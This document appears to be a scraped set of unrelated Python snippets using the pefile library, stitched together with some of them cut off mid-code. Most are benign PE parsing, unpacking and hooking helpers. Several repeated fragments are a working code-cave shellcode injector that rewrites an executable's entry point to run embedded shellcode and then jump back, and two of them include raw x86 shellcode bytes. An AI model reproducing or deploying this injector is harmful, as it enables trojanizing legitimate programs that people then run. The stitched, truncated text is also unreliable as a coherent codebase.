def get_icon_group(pe_file: pefile.PE, data_entry: pefile.Structure) -> Optional[list]: try: data_rva = data_entry.OffsetToData size = data_entry.Size data = pe_file.get_memory_mapped_image()[data_rva:data_rva + size] file_offset = pe_file.get_offset_from_rva(data_rva) grp_icon_dir = pefile.Structure(GRPICONDIR_format, file_offset=file_offset) grp_icon_dir.__unpack__(data) if grp_icon_dir.Reserved == 0 or grp_icon_dir.Type == 1: offset = grp_icon_dir.sizeof() entries = list() for idx in range(0, grp_icon_dir.Count): grp_icon = pefile.Structure(GRPICONDIRENTRY_format, file_offset=file_offset + offset) grp_icon.__unpack__(data[offset:]) offset += grp_icon.sizeof() entries.append(grp_icon) return entries except pefile.PEFormatError: pass return None
def _get_buffer_range_pe(self, pe: PEFile, address: int): base = pe.OPTIONAL_HEADER.ImageBase addr = self._rebase(address, base) - base offset = pe.get_offset_from_rva(addr) for section in pe.sections: if offset in range( section.PointerToRawData, section.PointerToRawData + section.SizeOfRawData): return offset, section.PointerToRawData + section.SizeOfRawData raise CompartmentNotFound(address, 'section')
def main(exe_file, shellcode): if not (os.path.isfile(exe_file)): print( "\nExecutable file cant detected ! \n Please try with full path.\n" ) return False shellcode = shellcode.replace("\\x", "").decode("hex") pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva + padd) - 1 scode_size = len(shellcode) + 7 if padd < scode_size: print("\nEnough space is not available for shellcode") print("Available codecave len : {0} \n").format(covecavelenght(pe)) return False else: scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset( scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) shellcode = '\x60%s\x61\xe9%s' % (shellcode, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off + len(shellcode)] = shellcode final_data = ''.join(final_data) raw_pe_data = final_data pe.close() while True: final_pe_file = "{0}".format(str(randint(0, 999999999))) if not os.path.isfile(final_pe_file): break new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() print("\nNew file : {0} saved !").format(final_pe_file) print('[*] Job Done! :)')
def _pesize(self, pe: PE) -> int: overlay = pe.get_overlay_data_start_offset() or 0 maxaddr = max(s.PointerToRawData + s.SizeOfRawData for s in pe.sections) maxdata = max( pe.get_offset_from_rva(d.VirtualAddress) + d.Size for d in pe.OPTIONAL_HEADER.DATA_DIRECTORY) # The certificate overlay is given as a file offset # rather than a virtual address. cert = pe.OPTIONAL_HEADER.DATA_DIRECTORY[ DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_SECURITY']] certend = cert.VirtualAddress + cert.Size self.log_debug(F'overlay at 0x{overlay:08X}') self.log_debug(F'maxaddr at 0x{maxaddr:08X}') self.log_debug(F'maxdata at 0x{maxdata:08X}') self.log_debug(F'certend at 0x{certend:08X}') return max(overlay, maxaddr, maxdata, certend)
def inject(): class NotEnoughSize(Exception): pass exe_file = res.BINARY final_pe_file = '{}_injected'.format(res.BINARY) shellcode = scode pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva( pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva + padd) - 1 scode_size = len(shellcode) + 7 if padd < scode_size: summary.append( logs.err('Not enough size for shellcode injection', prnt=False)) else: #logs.good('Found {} bytes of empty space'.format(padd)) scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset( scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) pusha = '\x60' popa = '\x61' shellcode = '%s%s%s\xe9%s' % (pusha, shellcode, popa, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off + len(shellcode)] = shellcode final_data = ''.join(final_data) raw_pe_data = final_data pe.close() new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() summary.append( logs.good('Succesfully injected shellcode', prnt=False))
def main( exe_file, shellcode): if not (os.path.isfile( exe_file)): print("\nExecutable file cant detected ! \n Please try with full path.\n") return False shellcode = shellcode.replace("\\x", "").decode("hex") pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva+padd) - 1 scode_size = len(shellcode)+7 if padd < scode_size: print("\nEnough space is not available for shellcode") print("Available codecave len : {0} \n").format( covecavelenght( pe)) return False else: scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) shellcode = '\x60%s\x61\xe9%s' % (shellcode, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off+len(shellcode)] = shellcode final_data = ''.join(final_data) raw_pe_data = final_data pe.close() while True: final_pe_file = "{0}".format(str(randint(0, 999999999))) if not os.path.isfile(final_pe_file): break new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() print ("\nNew file : {0} saved !").format( final_pe_file) print ('[*] Job Done! :)')
class PEFile(ExecutableFormat): bitnessMapping = None @classmethod def initClass(cls) -> None: cls.bitnessMapping = { pefile.OPTIONAL_HEADER_MAGIC_PE: 32, pefile.OPTIONAL_HEADER_MAGIC_PE_PLUS: 64 } def __child_enter__(self) -> None: self.lib = PE(data=self.map) self.bitness = self.__class__.bitnessMapping[self.lib.PE_TYPE] @property def imageBase(self) -> int: return self.lib.OPTIONAL_HEADER.ImageBase def findVA(self, name: str) -> typing.Optional[int]: """Gets a symbol addr from PE export table""" name = name.encode("ascii") for exp in self.lib.DIRECTORY_ENTRY_EXPORT.symbols: if exp.name == name: return exp.address + self.imageBase def raw2Offset(self, raw: int) -> int: return self.RVA2Offset(self.raw2RVA(raw)) def RVA2Offset(self, rva: int) -> int: return self.lib.get_offset_from_rva(rva) def offset2RVA(self, offset: int) -> int: return self.lib.get_rva_from_offset(offset) def RVA2Raw(self, RVA: int) -> int: return self.imageBase + RVA def raw2RVA(self, raw: int) -> int: return raw - self.imageBase def offset2Raw(self, offset: int) -> int: return self.RVA2Raw(self.offset2RVA(offset))
+ "\x65\x58\x68\x61\x73\x20\x48\x68\x45\x53\x20\x57\x31\xc9" + "\x88\x4c\x24\x0b\x89\xe1\x31\xd2\x6a\x10\x53\x51\x52\xff" + "\xd0\x31\xc0\x50\xff\x55\x08" ) if __name__ == "__main__": exe_file = raw_input("Enter Path To Exe File ") final_pe_file = raw_input("Enter Path To New Exe File: ") pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva + padd) - 1 scode_size = len(sample_shell_code) + 7 if padd < scode_size: # Enough space is not available for shellcode exit() # Code can be injected scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) sample_shell_code = "\x60%s\x61\xe9%s" % (sample_shell_code, pack("I", jmp_to & 0xFFFFFFFF)) final_data = list(raw_pe_data) final_data[scode_start_off : scode_start_off + len(sample_shell_code)] = sample_shell_code final_data = "".join(final_data) raw_pe_data = final_data
"\x61\xff\xff\xff\x68\x21\x58\x20\x20\x68\x57\x30\x30\x74" + "\x31\xdb\x88\x5c\x24\x05\x89\xe3\x68\x65\x21\x58\x20\x68" + "\x20\x48\x65\x72\x68\x20\x57\x61\x73\x68\x73\x69\x73\x68" + "\x68\x44\x65\x62\x61\x31\xc9\x88\x4c\x24\x12\x89\xe1\x31" + "\xd2\x52\x53\x51\x52\xff\xd0") if __name__ == '__main__': exe_file = raw_input('[*] Enter full path of the main executable :') final_pe_file = raw_input('[*] Enter full path of the output executable :') pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva+padd) - 1 scode_size = len(sample_shell_code)+7 if padd < scode_size: # Enough space is not available for shellcode exit() # Code can be injected scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) sample_shell_code = '\x60%s\x61\xe9%s' % (sample_shell_code, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off+len(sample_shell_code)] = sample_shell_code final_data = ''.join(final_data) raw_pe_data = final_data
def restore_pe(file,output): # PEfile isn't the best for this job, but we'll get it done ;) # TODO : Recaluclate SizeOfImage to match the acutal file from pefile import PE,OPTIONAL_HEADER_MAGIC_PE_PLUS print('[-] Loading PE...') pe = PE(file,fast_load=True) PE64 = pe.PE_TYPE == OPTIONAL_HEADER_MAGIC_PE_PLUS pe.__data__ = bytearray(pe.__data__) # This allows us to apply slicing on the PE data # Helpers find_section = lambda name:next(filter(lambda x:name in x.Name,pe.sections)) find_data_directory = lambda name:next(filter(lambda x:name in x.name,pe.OPTIONAL_HEADER.DATA_DIRECTORY)) # Data enigma1 = pe.__data__[find_section(b'.enigma1').PointerToRawData:] hdr = unpack(EVB_ENIGMA1_HEADER,enigma1,104 if PE64 else 76) # Restore section with built-in offsets. All these ADDRESSes are VAs find_data_directory('IMPORT').VirtualAddress = hdr['IMPORT_ADDRESS'] find_data_directory('IMPORT').Size = hdr['IMPORT_SIZE'] find_data_directory('RELOC').VirtualAddress = hdr['RELOC_ADDRESS'] find_data_directory('RELOC').Size = hdr['RELOC_SIZE'] print('[-] Rebuilding Exception directory...') # Rebuild the exception directory exception_dir = find_data_directory('EXCEPTION') exception_raw_ptr = pe.get_offset_from_rva(exception_dir.VirtualAddress) exception_data = pe.__data__[exception_raw_ptr:exception_raw_ptr + exception_dir.Size] exception_struct = PE64_EXCEPTION if PE64 else PE_EXCEPTION exception_end = 0 for i in range(0,exception_dir.Size,get_size_by_struct(exception_struct)): block = unpack(exception_struct,exception_data[i:]) block['section'] = pe.get_section_by_rva(block['BEGIN_ADDRESS']) exception_end = i if b'.enigma' in block['section'].Name: break exception_data = exception_data[:exception_end] # Prepare partial TLS data for searching tls_dir = find_data_directory('TLS') tls_raw_ptr = pe.get_offset_from_rva(tls_dir.VirtualAddress) tls_data = bytearray(pe.__data__[tls_raw_ptr:tls_raw_ptr + tls_dir.Size]) original_callback = hdr['TLS_CALLBACK_RVA'] + pe.OPTIONAL_HEADER.ImageBase original_callback = struct.pack('<' + ('Q' if PE64 else 'I'),original_callback) if (PE64): tls_data += original_callback # AddressOfCallBacks else: tls_data[12:16] = original_callback # AddressOfCallBacks tls_data = tls_data[:16] # Destory .enigma* sections pe.__data__ = pe.__data__[:find_section(b'.enigma1').PointerToRawData] + pe.__data__[find_section(b'.enigma2').PointerToRawData + find_section(b'.enigma2').SizeOfRawData:] # If original program has a overlay, this will perserve it. Otherwise it's okay to remove them anyway. assert pe.sections.pop().Name == b'.enigma2' assert pe.sections.pop().Name == b'.enigma1' pe.FILE_HEADER.NumberOfSections -= 2 # NOTE: .enigma1 contains the VFS, as well as some Optional PE Header info as descrbied above # NOTE: .enigma2 is a aplib compressed loader DLL. You can decompress it with aplib provided in this repo if (exception_data): # Reassign the RVA & sizes print('[-] Rebuilt Exception directory. Size=0x%x' % len(exception_data)) # Find where this could be placed at...since EVB clears the original exception directory listings # PEs with overlays won't work at all if EVB packed them. # We must remove the sections and do NOT append anything new offset = 0 for section in pe.sections: offset_ = pe.__data__.find(b'\x00' * len(exception_data),section.PointerToRawData, section.PointerToRawData + section.SizeOfRawData) if offset_ > 0: # Check for references in the Optional Data Directory # The offset should not be referenced otherwise we would overwrite existing data for header in pe.OPTIONAL_HEADER.DATA_DIRECTORY: if pe.get_rva_from_offset(offset_) in range(header.VirtualAddress,header.VirtualAddress+header.Size): offset = 0 break else: offset = offset_ if offset > 0: break assert offset > 0,"Cannot place Exceptions Directory!" section = pe.get_section_by_rva(pe.get_rva_from_offset(offset)) print('[-] Found suitable section to place Exception Directory. Name=%s RVA=0x%x' % (section.Name.decode(),offset - section.PointerToRawData)) pe.__data__[offset:offset+len(exception_data)] = exception_data section.SizeOfRawData = max(section.SizeOfRawData,len(exception_data)) exception_dir.VirtualAddress = pe.get_rva_from_offset(offset) exception_dir.Size = len(exception_data) else: print('[-] Original program does not contain Exception Directory.') exception_dir.VirtualAddress = 0 exception_dir.Size = 0 offset = pe.__data__.find(tls_data) # Append the exception section and assign the pointers # Serach for TLS in memory map since it's not removed. tls_dir = find_data_directory('TLS') if (offset > 0): print('[-] TLS Directory found. Offset=0x%x' % offset) tls_dir.VirtualAddress = pe.get_rva_from_offset(offset) tls_dir.Size = 40 if PE64 else 24 else: print('[-] Original program does not utilize TLS.') tls_dir.VirtualAddress = 0 tls_dir.Size = 0 # Write to new file pe_name = os.path.basename(file)[:-4] + ORIGINAL_PE_SUFFIX pe_name = os.path.join(output,pe_name).replace('\\','/') new_file_data = pe.write() write_bytes(BytesIO(new_file_data),open(pe_name,'wb+'),len(new_file_data),desc='Saving PE') print('[-] Original PE saved:',pe_name)
class WSHInstrumentation(object): def __init__(self, libpath): self.libpath = libpath self.pe = PE(libpath) last_section = self.pe.sections[-1] # In case of uninitialized data at the end of section # Not needed now, so not implemented assert last_section.Misc_VirtualSize <= last_section.SizeOfRawData self.last_section = last_section # Set RWX self.last_section.IMAGE_SCN_MEM_WRITE = True self.last_section.IMAGE_SCN_MEM_EXECUTE = True # Move from mmap to str self.pe.__data__ = self.pe.__data__.read(self.pe.__data__.size()) def next_rva(self): section = self.last_section return section.VirtualAddress + section.SizeOfRawData def append(self, data): section = self.last_section rva = self.next_rva() section.SizeOfRawData += len(data) section.Misc_VirtualSize = section.SizeOfRawData self.pe.__data__ += data return rva def align(self, alignment, padchar='\x00'): va = self.next_rva() pad = (alignment - va % alignment) self.append(pad * padchar) def rebuild_imports(self, routines): # Build string list rva_winedrop_dll = self.append("winedrop.dll\x00") rva_routine_str = [] for r in routines: # hint (0) + name + terminator rva_routine_str.append(self.append('\x00\x00' + r + '\x00')) # 0x10 alignment self.align(16) # Build OriginalThunkList rva_oft = self.next_rva() for r in rva_routine_str: self.append(p32(r)) self.append(p32(0)) # 0x10 alignment self.align(16) # Build ThunkList rva_ft = self.next_rva() rva_iat = [] for r in rva_routine_str: rva_iat.append(self.append(p32(r))) self.append(p32(0)) # 0x10 alignment self.align(16) # Copy import table entries offs_imports = self.pe.get_offset_from_rva( self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].VirtualAddress) rva_imports = self.next_rva() while True: entry = self.pe.__data__[offs_imports:offs_imports + 20] if entry[:4] == "\x00\x00\x00\x00": break offs_imports += 20 self.append(entry) # Add winedrop.dll entry self.append( struct.pack( "<IIIII", rva_oft, # OriginalFirstThunk 0, # Timestamp 0, # ForwarderChain rva_winedrop_dll, # Name rva_ft)) # FirstThunk # Add import table delimiter entry self.append("\x00" * 20) # End of import pseudo-section self.align(0x200) # Fix data directory and finish! self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].VirtualAddress = rva_imports self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].Size += 20 # Fix SizeOfImage sizeOfImage = self.last_section.VirtualAddress + self.last_section.SizeOfRawData self.pe.OPTIONAL_HEADER.SizeOfImage = sizeOfImage + ( 4096 - sizeOfImage % 4096) # Return IAT entries for each imported routine return rva_iat def add_trampolines(self, iat): """ Assume that we're hooking function with signature "int __stdcall fn(a,b,c)". After CALL to trampoline, stack looks like: fn_ptr callee_ptr a b c We will swap last two elements: callee_ptr fn_ptr+2 a b c So now we're effectively calling "int __stdcall hook_fn(orig_ptr, a, b, c)" with callee_ptr as return address. """ tramp_code = ''.join([ "\x58", # pop eax "\x83\xc0\x02", # add eax, 2 "\x87\x04\x24", # xchg [esp], eax "\x50", # push eax "\xe8\x00\x00\x00\x00", # call $+5 "\x58", # pop eax "\xff\xa0" # jmp [eax+...] ]) tramp_edx = len(tramp_code) - 3 tramp_rva = [] for va in iat: tramp_rva.append( self.append(tramp_code + p32((va - (self.next_rva() + tramp_edx))))) self.align(16, '\xcc') self.align(0x200) return tramp_rva def hook_patch(self, patch_va, tramp_va): patch_offs = self.pe.get_offset_from_rva(patch_va) # Is it "hookable" function prologue? assert self.pe.__data__[patch_offs - 5:patch_offs + 2] == "\x90\x90\x90\x90\x90\x8B\xFF" # Apply hook patch (jmp backwards, call to tramp_va) data = bytearray(self.pe.__data__) data[patch_offs - 5:patch_offs + 2] = "\xe8{}\xeb\xf9".format( p32(tramp_va - patch_va)) self.pe.__data__ = str(data) def write(self, fname): self.pe.write(fname)